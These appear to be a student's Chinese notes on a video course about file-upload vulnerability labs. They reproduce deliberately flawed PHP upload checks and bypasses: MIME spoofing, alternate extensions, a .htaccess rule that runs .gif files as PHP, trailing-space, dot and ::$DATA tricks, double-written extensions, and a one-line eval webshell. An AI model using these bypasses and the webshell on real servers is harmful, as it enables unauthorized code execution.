小迪老师,nb,虽然口音
莫名想起汤家凤老师
https://www.bilibili.com/video/BV1Fr4y1q7VE?p=58&spm_id_from=333.1007.top_right_bar_window_history.content.click
搭建文件上传漏洞
根据内容类型
前端,检测文件类型(下面的),猜测什么格式
根据content-type判断什么格式,
修改后面的值进行绕过,误认为上传的是一个jpg的文件
通过文件类型,下面的,判断后缀名,不严谨,
通过content type判断你上传的是什么类型文件
文件头信息:
内容头文件,判断文件后缀,判断你上传的是什么类型文件
判定文件格式
jpg
png
鼠标点击之后,返回一个函数,这个函数可能是相关的过滤
选择文件参数的名字
第二关
$is_upload = false;//声明变量
$msg = null;
if (isset($_POST['submit'])) {//点击上传
if (file_exists($UPLOAD_ADDR)) {//判断路径是否存在
//判断上传的文件类型,允许这三个类型
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = $UPLOAD_ADDR.'文件夹不存在,请手工创建!';
}
}
?>
<div id="upload_panel">
<ol>
<li>
<h3>任务</h3>
<p>上传一个<code>webshell</code>到服务器。</p>
</li>
<li>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">
<p>请选择要上传的图片:<p>
<input class="input_file" type="file" name="upload_file"/>
<input class="button" type="submit" name="submit" value="上传"/>
</form>
<div id="msg">
<?php
if($msg != null){
echo "提示:".$msg;
}
?>
</div>
<div id="img">
<?php
if($is_upload){
echo '<img src="'.$img_path.'" width="250px" />';
}
?>
</div>
</li>
<?php
if($_GET['action'] == "show_code"){
include 'show_code.php';
}
?>
</ol>
</div>
<?php
include '../footer.php';
?>
$_FILES['upload_file']['tmp_name'],
获得文件临时名
$_FILES['upload_file']['tmp_name'],
$UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])
../upload/文件名
move_uploaded_file(临时文件,目录)移动文件函数
将文件上传到,目录
单一类型验证不安全,修改值
第三关(搞了一个黑名单)
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');大苏打//拒绝(deny)后缀名(ext)
$file_name = trim($_FILES['upload_file']['name']);//trim()字符串两边空格,变为空
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
//对 file_ext 中的DATA 替换为空
$file_ext = trim($file_ext); //收尾去空
//
判断上面最后的值,在不在这个数组中
if(!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR. '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR .'/'. $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
$file_name = deldot($file_name);//删除文件名末尾的点
h.jpg.zip.php
正常按照jpg解析,但文件实际上时php,所以到达jpg时候,把就jpg后面的都删掉
把文件判定位jpg,单文件实际上是php
把后面干扰的进行删除
$file_ext = strrchr($file_name, '.');
进行分割
h.jpg.zip.php
把 .php 前面东西删除掉
解决方法:
上传php的其他格式
apache能够使用php解析 .phtml .php3
(但是apache要先修改了配置文件,对方也可能关闭)
上传 .php3 也可以执行
第三关,特殊解析后缀
第二个,白名单,MIME绕过
第四关。.htaccess解析(只有appache能用,伪静态转换,从php变成html)
网站时php,访问的时候,看见一个html的静态页面
通过htaccess解析,实现文件格式解析自定义
第四关:htaccess解析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
?>
答案:
文件匹配,如果匹配到文件里有 1.gif,则把这个文件解析成php代码执行
<FilesMatch "1.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
文件名叫
.htaccess
通过 ,htaccess 修改啊apache默认配置,把特定文件解析成php代码执行
一句话木马:
<?php eval($_GET[‘cmd’])?>
<?php phpinfo();?>
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
<IfModule mime_module>
AddHandler php5-script .gif #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
链接:
https://blog.csdn.net/weixin_45728976/article/details/104363400
第五关:大小写绕过,后缀改成 .PHp
去掉了
加上了 黑名单 .htaccess
第六关
缺少:
少了trim()函数,去除字符串首尾空格
抓包,在文件名 .php 后面加一个空格,即可跳过,
放上网站之后,强制把空格去掉,即可正常恢复php
第七关:
少了这个:
和空格原理相同
抓包之后,在 .php 后面加一个 . 点 就可以绕过
如果,后面加上, .php.jpg 到服务器里,还是jpg格式
白名单,使用修改,content-type 绕过
黑名单,想办法绕过防御
第8关:
少了这个:
::$DATA
必须是windows,必须是php,必须是源文件
php在windows的时候,如果文件名+”DATA”
会把::DATA之后的数据当成文件流处理,不会检测后报错,且保持 ::DATA 之前的文件名
目的是为了不检查后缀名
就是 抓包之后,修改文件名后缀 .php::DATA
第九关:(一次过滤和循环过滤)
什么条件都关闭了
循环,和一次过滤
代码将字符串中的php替换成空
并进行一次过滤
如果 a.php 过滤之后 a.
如果 a.pphphp 过滤之后 a.php
循环过滤,递归过滤
如果 a.pphphp 过滤之后时 a,
前面的关,用双写绕过感觉也都行。
假设转包之后输入的是:
.php. .
trim()去掉中间的空格,php后面有两个点
deldot()去掉了一个点,还有一个点
strrchr()函数,查找字符串,在指定字符串中从后面开始的第一次出现的位置
取后面的东西,就是空,绕过了过滤
那直接点俩点不行么
居然不行,
猜测,点后面什么都没有,和点后面有空格是不一样的
第一关,第十关,有妙用,可以直接上传php,为什么??
并且开启之后,网站访问速度变得巨快
关闭了javascript,不理解??
第十关:
如果里面有黑名单里的内容,就替换为空
直接双写pphphp
但是感觉,上面的 写两个点,中间夹个空格也可以
第一关,第十关,有妙用,可以直接上传php,为什么??
并且开启之后,网站访问速度变得巨快
关闭了javascript,不理解??
第十关:
如果里面有黑名单里的内容,就替换为空
直接双写pphphp
但是感觉,上面的 写两个点,中间夹个空格也可以